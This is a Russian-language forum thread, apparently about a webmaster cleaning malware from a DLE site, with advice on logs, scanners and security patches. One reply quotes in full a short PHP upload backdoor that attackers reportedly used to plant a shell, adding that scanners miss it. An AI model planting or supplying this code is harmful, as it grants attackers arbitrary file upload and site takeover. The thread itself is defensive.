Курсор

Не могу понять почему трясут с хостера решение проблем с вирусами) Возможно я что-то не так понял)

Это ucoz) Быть уверенным в чём то очень сложно) Я воспринимаю бесплатный хостинг как свалка) Скорее всего - это как раз тот код. Смените доступы.

Проверил поверхностно сайт, не вижу не чего описанного. Скорее всего указанный Вами код и был причиной.

Проверять сайт конечно есть смысл и айболитом и другими скриптами.

Вот к примеру как грузили shell, это не вредоносный код, но сайт ломали как нефиг делать:

<?php
error_reporting(0);
if (isset($_REQUEST['UploadOpen'])) {
    echo '<form action="" method=post enctype=multipart/form-data><input type=file name=uploadfile><input type=submit value=Upload></form>';
    $uploaddir = '';
    $uploadfile = $uploaddir.basename($_FILES['uploadfile']['name']);
    if (copy($_FILES['uploadfile']['tmp_name'], $uploadfile)) {
        echo "<h3>OK</h3>";
        exit;
    }else{
        echo "<h3>NO</h3>";
        exit;
    }
    exit;
} 

И не один айболит не найдёт) А в логах есть)

Я понимаю Ваше желание научится самому, вся информация есть в интернете, разжеван поиск вируса и причин появления так, что за пару дней можно научится имея минимум знаний.

Ройте логи, стандартный DLE 10-10.1 версии крепкий движок, пока не взламывали, об остальном сказать сложно.

Есть скрипт, не могу найти сейчас, классная вещь, чистит новости от вредоносного кода. Т.к обычно в новостях генерируют код по разному, сложно вычистить.

Бесплатного решения в паблике не видел. Есть сервисы для одиночной проверки. А так следите внимательно в панелях вебмастера Яндекс и Google

1. Проверьте сайт, все ли фиксы безопасности установлены? http://dle-news.ru/bags/

2. Проверьте исходный код новостей в редакторе.

3. Можно ссылочку на Ваш сайт, на крайняк в ЛС

Просто когда человек ... говорит а не гугл, более понятнее!

ЗЫ Я школу закончил)))) Уже лет так 6ть назад)

А можно подробнее? Где куда?